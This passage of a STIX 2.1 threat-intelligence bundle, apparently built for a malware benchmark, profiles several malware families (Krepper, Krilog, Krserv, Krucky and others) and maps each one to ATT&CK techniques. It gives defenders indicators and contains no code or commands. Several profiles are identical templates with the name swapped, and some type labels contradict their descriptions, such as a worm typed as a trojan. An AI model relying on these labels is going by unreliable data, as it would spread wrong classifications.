      "source_ref": "malware--c813ebd2-fd37-5a10-88cf-85e6e3f8e138",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krdr exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--869da096-a02d-5785-81d8-648304e0f197",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Krepper",
      "description": "Worm:Win32/Krepper is a highly virulent, self-replicating network worm designed to spread rapidly across vulnerable corporate environments. Unlike a trojan that relies on user interaction (like clicking an email link), Krepper actively scans the local network and the internet to find unpatched machines, exploiting known vulnerabilities or utilizing weak credentials to automatically infect new hosts and expand its botnet.<br><br><b>Understanding Krepper (Network Worms)</b><br>To an end-user, a Krepper infection might cause the computer to become sluggish or completely unresponsive, as the worm consumes all available CPU and network bandwidth trying to replicate. For a network administrator, Krepper is an immediate crisis. It can saturate internal network links (causing Denial of Service - `T1498`), overwhelm firewalls with outbound scanning traffic (`T1046`), and rapidly compromise all unpatched servers in a matter of minutes.<br><br><b>Execution and Propagation Mechanics</b><br>Krepper achieves Initial Access through the exploitation of remote services (`T1190`), often targeting legacy vulnerabilities like MS08-067 (similar to Conficker) or exposed SMB/RDP ports with weak passwords. Once it compromises a host, it drops its executable into the Windows system directory and establishes persistence via the Registry Run keys (`T1547.001`). It then generates random IP addresses and aggressively scans them for the same vulnerability (`T1046`), attempting to push its payload (`T1105`) to any responsive targets. Some variants also attempt to propagate via removable USB drives (`T1091`) by creating malicious `autorun.inf` files.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe network disruption and widespread compromise. Network IoCs are the most prominent: an explosion of outbound traffic on specific ports (e.g., 445, 135) originating from infected internal hosts. Host-based IoCs include the presence of unexpectedly named executables in `C:\\Windows\\System32`, unauthorized modifications to the Windows Firewall, and the creation of hidden `autorun.inf` files on attached storage. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Krepper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/krepper"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f054cf83-6270-573d-afcb-eef8947fdd9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--869da096-a02d-5785-81d8-648304e0f197",
      "target_ref": "attack-pattern--be10f842-949a-5910-87e6-3068819d42e6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krepper exhibits technique T1190 (Exploit Public-Facing Application (Remote Code Execution))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b74381d-a361-595b-9faa-8b4f5d490f33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--869da096-a02d-5785-81d8-648304e0f197",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krepper exhibits technique T1046 (Network Service Discovery (Aggressive port scanning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ba5271c-8880-5437-a3fd-2c35e06bbc11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--869da096-a02d-5785-81d8-648304e0f197",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krepper exhibits technique T1091 (Replication Through Removable Media (USB Autorun))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a4cf3b9-1e96-561c-a17c-dbb45fb596b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--869da096-a02d-5785-81d8-648304e0f197",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krepper exhibits technique T1498 (Network Denial of Service (Traffic saturation during propagation))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0f20b046-2a91-5c3b-88ba-40a76120ff02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Krilog",
      "description": "Spyware:Win32/Krilog (or Keylogger:Win32/Krilog) is a malicious tool designed specifically to capture a user's keystrokes (`T1056.001`), mouse clicks, and sometimes screen contents (`T1113`) without their knowledge or consent. It is a primary tool used by attackers for credential harvesting, corporate espionage, and identity theft.<br><br><b>Understanding Krilog (Keylogger)</b><br>To an end-user, a Krilog infection is entirely invisible; the software is designed specifically to hide its presence while silently recording activity. For a SOC analyst, a keylogger detection implies a total compromise of confidentiality for that host. Every password typed, every email drafted, and every secure portal accessed while the keylogger was active must be considered compromised.<br><br><b>Execution and Data Capture Mechanics</b><br>Krilog is typically dropped by a primary infection vector (like a trojan delivered via malspam). Once active, it uses low-level Windows APIs (such as `SetWindowsHookEx`) to intercept hardware events before they reach the intended application (`T1056.001`). It records these events into a hidden, encrypted log file (often stored in `%Temp%` or `%AppData%`). On a scheduled basis, Krilog bundles this log file and exfiltrates it to the attacker's C2 server (`T1041`), often via SMTP (email), FTP, or HTTP POST.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe credential compromise and data theft. Host-based IoCs include EDR alerts for suspicious API hooking (e.g., a non-standard process injecting hooks into `explorer.exe` or browser processes). The presence of hidden, rapidly growing text or encrypted files in user profile directories is a strong indicator. Network IoCs involve regular, small bursts of outbound traffic (often SMTP or FTP) corresponding to the exfiltration of the keylog files. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Krilog",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/krilog"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34b5cca4-648c-57f5-b49c-cab4e322f6f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f20b046-2a91-5c3b-88ba-40a76120ff02",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krilog exhibits technique T1056.001 (Input Capture: Keylogging (The primary function of the malware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86df2b6d-bcf4-583b-a3f3-56800bc8e24c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f20b046-2a91-5c3b-88ba-40a76120ff02",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krilog exhibits technique T1055 (Process Injection (Injecting hooks into legitimate processes to capture input))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f5bc9a1-b3e3-508e-b90d-cd09b2abc0c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f20b046-2a91-5c3b-88ba-40a76120ff02",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krilog exhibits technique T1041 (Exfiltration Over C2 Channel (Sending the captured logs to the attacker))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5c3df69e-c7d6-5fc2-a10d-ffe77587797a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kriskynote",
      "description": "Trojan:Win32/Kriskynote is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Kriskynote</b><br>To an end-user, a Kriskynote infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Kriskynote is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Kriskynote is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Kriskynote frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Kriskynote reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kriskynote",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kriskynote"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44a5d70e-a63c-5e1e-a757-6decd8f64ffa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5c3df69e-c7d6-5fc2-a10d-ffe77587797a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kriskynote exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--baa4b0ba-808b-57b8-b0e8-ea30cd9aa563",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5c3df69e-c7d6-5fc2-a10d-ffe77587797a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kriskynote exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--088a6083-63fb-5fb7-8fff-b808395944c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5c3df69e-c7d6-5fc2-a10d-ffe77587797a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kriskynote exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4894347b-628f-50d4-a606-23a037f36147",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5c3df69e-c7d6-5fc2-a10d-ffe77587797a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kriskynote exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e213ea50-41a9-5893-a248-5acacbe04df3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5c3df69e-c7d6-5fc2-a10d-ffe77587797a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kriskynote exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d6912146-9a80-5511-87f4-6e89c4c697dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Krolol",
      "description": "Trojan:Win32/Krolol is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Krolol</b><br>To an end-user, a Krolol infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Krolol is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Krolol is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Krolol frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Krolol reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Krolol",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/krolol"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae6baa5f-8fe1-5c76-99f2-3783fa780938",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6912146-9a80-5511-87f4-6e89c4c697dd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krolol exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--565dab52-f0b1-51ee-84cf-5ceff6a4c79a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6912146-9a80-5511-87f4-6e89c4c697dd",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krolol exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e7307f6-42a3-556a-8f8a-51726731a3cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6912146-9a80-5511-87f4-6e89c4c697dd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krolol exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05a68f8f-607d-59cd-853c-0bd16fb497f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6912146-9a80-5511-87f4-6e89c4c697dd",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krolol exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cdcce33f-2556-59c5-936d-8504e8b7539e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6912146-9a80-5511-87f4-6e89c4c697dd",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krolol exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--663e96f7-2aa4-52c6-8f6c-f7b0231f0e1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Krserv",
      "description": "KRServ (classified across antimalware research as Ransom:Win32/KRServ, Trojan:Win32/KRServ, and Win32/KRServ) is a specialized ransomware and trojan service family observed targeting corporate servers and enterprise infrastructure. Distributed via compromised remote access credentials, unpatched server vulnerabilities, or lateral movement tools, KRServ installs itself directly as a background Windows Service (`krserv.exe`) configured with Automatic startup under `HKLM\\System\\CurrentControlSet\\Services\\KRServ`. Executing under high-privilege `NT AUTHORITY\\SYSTEM` context, KRServ deploys asynchronous worker threads to traverse all local fixed disks, mounted network volumes, and removable media. It encrypts non-system files using robust AES-256 encryption, appending custom extensions and dropping ransom notes across traversed directories. Because it operates as an autonomous background service, KRServ persists across user logoffs and reboots, continuously monitoring the filesystem to encrypt newly created or modified files on the fly. (Observed samples in benchmark: 16)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/KRServ",
        "Trojan:Win32/KRServ",
        "Win32/KRServ",
        "KRServ Ransomware",
        "KRServ Service Trojan"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Krserv",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/krserv"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5a34f12-8102-5fb6-b49b-a95c52044b17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--663e96f7-2aa4-52c6-8f6c-f7b0231f0e1a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krserv exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c5a97bde-98ac-503f-ab57-66a71e732a79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--663e96f7-2aa4-52c6-8f6c-f7b0231f0e1a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krserv exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d75fb39-61a2-5758-a4fa-edc2cd38f3a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--663e96f7-2aa4-52c6-8f6c-f7b0231f0e1a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krserv exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd180ec7-7488-59b3-b118-a86cb309c4f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--663e96f7-2aa4-52c6-8f6c-f7b0231f0e1a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krserv exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd3897e1-261f-5597-bb78-a2ed19b55774",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--663e96f7-2aa4-52c6-8f6c-f7b0231f0e1a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krserv exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--85442611-e7e9-5659-82e9-d8b1083f971d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Krucky",
      "description": "Krucky (tracked in malware research telemetry under designations including Ransom:Win32/Krucky, Ransom:Win32/Krucky.A, and Trojan-Ransom.Win32.Krucky) is a destructive crypto-ransomware family targeting Windows endpoints. Operating in opportunistic extortion campaigns, Krucky infiltrates target networks via malicious email campaigns containing obfuscated JavaScript or VBScript droppers and through compromised software cracks. Upon execution, Krucky terminates security processes and database engines using taskkill. It searches mounted fixed disks, removable drives, and accessible network SMB shares, encrypting documents, spreadsheets, SQL databases, and archives using AES-256 encryption with an embedded RSA public key. Krucky disables system recovery by executing vssadmin to delete Volume Shadow Copies and uses bcdedit to disable automatic Windows startup recovery. It leaves text ransom notes in every traversed directory instructing victims on Bitcoin extortion demands. (Observed samples in benchmark: 22)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Krucky",
        "Ransom:Win32/Krucky.A",
        "Trojan-Ransom.Win32.Krucky",
        "Win32/Krucky",
        "Ransom.Krucky"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Krucky",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/krucky"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51648b85-0639-5c23-ade4-817431146199",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85442611-e7e9-5659-82e9-d8b1083f971d",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krucky exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3ab8d84-c73d-57b5-91f6-221ff059fe84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85442611-e7e9-5659-82e9-d8b1083f971d",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krucky exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43b8739a-2f9a-5397-adc2-5cc52915cc4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85442611-e7e9-5659-82e9-d8b1083f971d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krucky exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4b96cf1-d991-5a16-919e-a71cc24db272",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85442611-e7e9-5659-82e9-d8b1083f971d",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krucky exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7b0c773-d520-58ea-935e-054527b4da64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85442611-e7e9-5659-82e9-d8b1083f971d",
      "target_ref": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krucky exhibits technique T1070.004 (Indicator Removal: File Deletion)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cd61925f-42c7-5f20-99a4-50ebbd4981b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Krunchy",
      "description": "Trojan:Win32/Krunchy is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Krunchy</b><br>To an end-user, a Krunchy infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Krunchy is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Krunchy is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Krunchy frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Krunchy reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Krunchy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/krunchy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--055aeb26-8ef6-51e9-9e65-926c61a0b19b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
